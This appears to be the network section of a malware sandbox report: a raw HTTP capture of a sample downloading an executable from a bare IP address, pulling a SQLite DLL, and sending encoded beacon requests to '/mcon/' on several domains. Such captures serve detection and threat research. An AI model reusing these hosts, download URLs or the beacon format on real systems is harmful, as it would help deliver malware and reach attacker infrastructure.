Network Analysis

GET /secdukaszx.exe HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.2; .NET4.0C; .NET4.0E) Host: 87.121.221.212 Connection: Keep-Alive

HTTP/1.1 200 OK Date: Tue, 25 Jul 2023 23:04:36 GMT Server: Apache Last-Modified: Tue, 25 Jul 2023 14:35:55 GMT ETag: "96a00-60150a60f3b99" Accept-Ranges: bytes Content-Length: 616960 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/octet-stream

POST /mcon/ HTTP/1.1 Host: www.fagallery.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.fagallery.com Content-Length: 177 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Referer: http://www.fagallery.com/mcon/ User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240

HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 25 Jul 2023 23:05:39 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close

GET /mcon/?uGlQwPJu=rJW8o27P/gqPRSI0wuqXCcBWV3MCPe3Qi8ROeqUr40lzOd+BRDuNmyU/daBjpYLNNDfdIaWQHB2/zU0cdz0dSZCY/Bbb6xMd8kQ8zBA=&9Y84=6fRJZ HTTP/1.1 Host: www.fagallery.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240

HTTP/1.1 404 Not Found Server: nginx Date: Tue, 25 Jul 2023 23:05:42 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding

GET /2019/sqlite-dll-win32-x86-3290000.zip HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.2; .NET4.0C; .NET4.0E) Host: www.sqlite.org Connection: Keep-Alive

HTTP/1.1 200 OK Connection: keep-alive Date: Tue, 25 Jul 2023 23:05:43 GMT Last-Modified: Thu, 03 Oct 2019 16:46:08 GMT Cache-Control: max-age=120 ETag: "m5d9625d0s76a84" Content-type: application/zip; charset=utf-8 Content-length: 486020

POST /mcon/ HTTP/1.1 Host: www.bc081.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.bc081.com Content-Length: 189 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Referer: http://www.bc081.com/mcon/ User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240

HTTP/1.1 404 Not Found Server: nginx Date: Tue, 25 Jul 2023 23:24:50 GMT Content-Type: text/html Content-Length: 548 Connection: close

GET /mcon/?uGlQwPJu=pskxmoRFchsAbXFIn6Ds6WJWm93GPZXrd/fIfWEPkz26aGEkZ87oGPy24JF+yxwF1h0P/zwK8gLwn+yMtUteEtVFAkBJqDM7Jup+RKc=&9Y84=6fRJZ HTTP/1.1 Host: www.bc081.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240

HTTP/1.1 404 Not Found Server: nginx Date: Tue, 25 Jul 2023 23:24:52 GMT Content-Type: text/html Content-Length: 548 Connection: close

POST /mcon/ HTTP/1.1 Host: www.purelyunorthodox.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.purelyunorthodox.com Content-Length: 189 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Referer: http://www.purelyunorthodox.com/mcon/ User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240

HTTP/1.1 200 OK Server: nginx Date: Wed, 26 Jul 2023 06:50:28 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000 Content-Encoding: gzip

GET /mcon/?uGlQwPJu=JxkY46YC9LBm3OkL8orXF7D68oVhabe0uO4APku638FfxldkBjOvcbwo9sb38aK0GSbzu/P0eNN4w2ybAPlnTHOTDB1A0VrJVW01pJA=&9Y84=6fRJZ HTTP/1.1 Host: www.purelyunorthodox.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240

HTTP/1.1 200 OK Server: nginx Date: Wed, 26 Jul 2023 06:50:30 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000

POST /mcon/ HTTP/1.1 Host: www.paybillnow.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.paybillnow.info Content-Length: 189 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Referer: http://www.paybillnow.info/mcon/ User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240

HTTP/1.1 404 Not Found Date: Tue, 25 Jul 2023 23:06:08 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html

GET /mcon/?uGlQwPJu=6l2bJH3lYuggsJGye7Ek7Djc2AhxQovbvd2YkjgUuVZ2vqa0aW8Pwj2WXOk/QoHCXwbnfhEZTCtL08rWUqnG/IhfnQVtlui9LEQGFPc=&9Y84=6fRJZ HTTP/1.1 Host: www.paybillnow.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240

HTTP/1.1 404 Not Found Date: Tue, 25 Jul 2023 23:06:11 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html; charset=utf-8

POST /mcon/ HTTP/1.1 Host: www.superxwin.app Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.superxwin.app Content-Length: 189 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Referer: http://www.superxwin.app/mcon/ User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240

HTTP/1.1 403 Forbidden date: Tue, 25 Jul 2023 23:06:17 GMT content-type: text/html transfer-encoding: chunked vary: Accept-Encoding server: NginX content-encoding: gzip connection: close

GET /mcon/?uGlQwPJu=zXOJUe1DiQqRpKX/iPrmQy7/Wg64w+pTL1bjt+yOL2NGV+wW4eH3xNfsFSFyKke75OeaWtpTehrF3ed1/bJdwY3kBcAY+jnnbA/ldzE=&9Y84=6fRJZ HTTP/1.1 Host: www.superxwin.app Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240

HTTP/1.1 403 Forbidden date: Tue, 25 Jul 2023 23:06:20 GMT content-type: text/html content-length: 552 vary: Accept-Encoding server: NginX connection: close

POST /mcon/ HTTP/1.1 Host: www.triplemshipssupplies.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.triplemshipssupplies.com Content-Length: 189 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Referer: http://www.triplemshipssupplies.com/mcon/ User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240

HTTP/1.1 404 Not Found Date: Tue, 25 Jul 2023 23:06:25 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Upgrade: h2,h2c Connection: Upgrade Vary: Accept-Encoding Content-Encoding: gzip host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ== X-Newfold-Cache-Level: 2 Content-Length: 1054 Content-Type: text/html; charset=UTF-8

GET /mcon/?uGlQwPJu=dnPohqZh5otnQV3RPwhvaI5Uo8JzxtGuHQ1wIyfjEImxMkpvtO72FR5odLVFga56TxKG3zu640027WzcyBBbGjRHowMwiJmzi8hzv3g=&9Y84=6fRJZ HTTP/1.1 Host: www.triplemshipssupplies.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240

HTTP/1.1 301 Moved Permanently Date: Tue, 25 Jul 2023 23:06:22 GMT Server: nginx/1.21.6 Content-Type: text/html; charset=UTF-8 Content-Length: 0 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Location: http://triplemshipssupplies.com/mcon/?uGlQwPJu=dnPohqZh5otnQV3RPwhvaI5Uo8JzxtGuHQ1wIyfjEImxMkpvtO72FR5odLVFga56TxKG3zu640027WzcyBBbGjRHowMwiJmzi8hzv3g=&9Y84=6fRJZ host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ== X-Newfold-Cache-Level: 2 X-Server-Cache: true X-Proxy-Cache: MISS